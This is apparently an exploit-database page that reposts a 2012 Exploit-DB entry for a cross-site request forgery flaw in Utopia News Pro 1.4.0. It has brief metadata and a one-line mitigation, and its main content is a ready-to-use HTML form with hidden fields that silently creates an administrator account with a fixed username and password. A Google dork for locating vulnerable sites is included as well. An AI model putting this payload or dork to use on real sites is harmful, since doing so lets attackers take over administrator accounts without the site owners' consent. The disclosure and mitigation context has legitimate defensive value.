Utopia News Pro 1.4.0 - exploit.company

vendor:

Utopia News Pro

by:

Dr.NaNo

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Utopia News Pro

Affected Version From: 1.4.0

Affected Version To: 1.4.0

Patch Exists: NO

Related CWE: N/A

CPE: a:utopiasoftware:utopia_news_pro:1.4.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux-Red-Hat

2012

Utopia News Pro 1.4.0 <= CSRF Add Admin Vulnerability

A CSRF vulnerability exists in Utopia News Pro 1.4.0 which allows an attacker to add an admin user to the application. An attacker can craft a malicious HTML page containing a form with hidden fields that when submitted, will add an admin user to the application. The form action is set to the vulnerable URL and the form fields contain the parameters required to add an admin user.

Mitigation:

Implementing a CSRF token in the application can prevent this type of attack.

Source

Exploit-DB raw data:

# Exploit Title: Utopia News Pro 1.4.0 <= CSRF Add Admin Vulnerability
# Date: 7/4/2012
# Author: Dr.NaNo
# Software Link: http://www.utopiasoftware.net/newspro/dl.php?filename=newspro140b.zip&mirror=1
# Version: 1.4.0
# Tested on: Linux-Red-Hat
# Google Dork: Powered By Utopia News Pro 1.4.0
#
########################################################
#                      ~ Exploit ~                     #
########################################################
 
<html>
<body>
<form action="http://localhost/{PATh}/upload/users.php" method="post" />
<input type="hidden" name="username" value="NANO" />
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="password" value="102030" />
<input type="hidden" name="password2" value="102030" />
<input type="hidden" name="email" value="security@security.com" />
<input type="submit" name="submitnew" accesskey="s" value="ThankS !" />
</form>
</body>
</html>
 
#### ~ Greetz ~ #########################################################
#                                                                       #
# Dr.WEP , JIKO , ahwak2000 , RENO , ABU NWAF , Dr.HAiL , snc0pe , 020  #
#                                                                       #
# JaBrOt HaCkEr , alkaseer20 , SadHaCkEr , Cyber Code , aircrack -ng    #
#                                                                       #
############################################### ~ All FriendS ~ #########